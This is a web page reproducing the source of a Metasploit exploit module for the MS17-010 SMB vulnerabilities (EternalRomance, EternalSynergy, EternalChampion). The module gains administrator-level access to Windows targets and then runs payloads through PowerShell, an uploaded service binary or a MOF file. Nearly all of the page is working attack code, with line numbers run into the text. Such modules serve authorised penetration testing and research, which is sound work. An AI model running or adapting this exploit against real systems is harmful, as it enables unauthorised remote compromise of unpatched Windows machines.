Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/smb/ms17_010_psexec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45# Windows XP systems that are not part of a domain default to treating all6# network logons as if they were Guest. This prevents SMB relay attacks from7# gaining administrative access to these systems. This setting can be found8# under:9#10# Local Security Settings >11# Local Policies >12# Security Options >13# Network Access: Sharing and security model for local accounts1415class MetasploitModule < Msf::Exploit::Remote16Rank = NormalRanking1718include Msf::Exploit::Remote::SMB::Client::Psexec_MS17_01019include Msf::Exploit::Remote::SMB::Client::Psexec20include Msf::Exploit::Remote::CheckModule21include Msf::Exploit::Powershell22include Msf::Exploit::EXE23include Msf::Exploit::WbemExec24include Msf::Auxiliary::Report2526def initialize(info = {})27super(update_info(info,28'Name' => 'MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution',29'Description' => %q{30This module will exploit SMB with vulnerabilities in MS17-010 to achieve a write-what-where31primitive. This will then be used to overwrite the connection session information with as an32Administrator session. From there, the normal psexec payload code execution is done.3334Exploits a type confusion between Transaction and WriteAndX requests and a race condition in35Transaction requests, as seen in the EternalRomance, EternalChampion, and EternalSynergy36exploits. This exploit chain is more reliable than the EternalBlue exploit, but requires a37named pipe.38},39'Author' =>40[41'sleepya', # zzz_exploit idea and offsets42'zerosum0x0',43'Shadow Brokers',44'Equation Group'45],46'License' => MSF_LICENSE,47'DefaultOptions' =>48{49'EXITFUNC' => 'thread',50'CheckModule' => 'auxiliary/scanner/smb/smb_ms17_010',51'WfsDelay' => 1052},53'References' =>54[55[ 'MSB', 'MS17-010' ],56[ 'CVE', '2017-0143'], # EternalRomance/EternalSynergy - Type confusion between WriteAndX and Transaction requests57[ 'CVE', '2017-0146'], # EternalChampion/EternalSynergy - Race condition with Transaction requests58[ 'CVE', '2017-0147'], # for EternalRomance reference59[ 'URL', 'https://github.com/worawit/MS17-010' ],60[ 'URL', 'https://hitcon.org/2017/CMT/slide-files/d2_s2_r0.pdf' ],61[ 'URL', 'https://blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis/' ],62],63'Payload' =>64{65'Space' => 3072,66'DisableNops' => true67},68'Platform' => 'win',69'Arch' => [ARCH_X86, ARCH_X64],70'Targets' =>71[72[ 'Automatic', { } ],73[ 'PowerShell', { } ],74[ 'Native upload', { } ],75[ 'MOF upload', { } ]76],77'DefaultTarget' => 0,78'DisclosureDate' => '2017-03-14',79'Notes' =>80{81'AKA' => [82'ETERNALSYNERGY',83'ETERNALROMANCE',84'ETERNALCHAMPION',85'ETERNALBLUE' # does not use any CVE from Blue, but Search should show this, it is preferred86]87}88))8990register_options(91[92OptString.new('SHARE', [ true, "The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share", 'ADMIN$' ])93])9495register_advanced_options(96[97OptBool.new('ALLOW_GUEST', [true, "Keep trying if only given guest access", false]),98OptString.new('SERVICE_FILENAME', [false, "Filename to to be used on target for the service binary",nil]),99OptString.new('PSH_PATH', [false, 'Path to powershell.exe', 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe']),100OptString.new('SERVICE_STUB_ENCODER', [false, "Encoder to use around the service registering stub",nil])101])102103deregister_options('SMB::ProtocolVersion')104end105106def validate_service_stub_encoder!107service_encoder = datastore['SERVICE_STUB_ENCODER']108return if service_encoder.nil? || service_encoder.empty?109110encoder = framework.encoders[service_encoder]111if encoder.nil?112raise Msf::OptionValidateError.new(113{114'SERVICE_STUB_ENCODER' => "Failed to find encoder #{service_encoder.inspect}"115}116)117end118end119120def exploit121validate_service_stub_encoder!122123begin124if datastore['SMBUser'].present?125print_status("Authenticating to #{datastore['RHOST']} as user '#{splitname(datastore['SMBUser'])}'...")126end127eternal_pwn(datastore['RHOST'])128smb_pwn()129130rescue ::Msf::Exploit::Remote::SMB::Client::Psexec_MS17_010::MS17_010_Error => e131print_error("#{e.message}")132rescue ::Errno::ECONNRESET,133::Rex::Proto::SMB::Exceptions::LoginError,134::Rex::HostUnreachable,135::Rex::ConnectionTimeout,136::Rex::ConnectionRefused => e137print_error("#{e.class}: #{e.message}")138rescue => error139print_error(error.class.to_s)140print_error(error.message)141print_error(error.backtrace.join("\n"))142ensure143eternal_cleanup() # restore session144end145end146147def smb_pwn148service_filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe"149service_encoder = datastore['SERVICE_STUB_ENCODER'] || ''150151case target.name152when 'Automatic'153if powershell_installed?(datastore['SHARE'], datastore['PSH_PATH'])154print_status('Selecting PowerShell target')155execute_powershell_payload156else157print_status('Selecting native target')158native_upload(datastore['SHARE'], service_filename, service_encoder)159end160when 'PowerShell'161execute_powershell_payload162when 'Native upload'163native_upload(datastore['SHARE'], service_filename, service_encoder)164when 'MOF upload'165mof_upload(datastore['SHARE'])166end167168handler169end170end171172173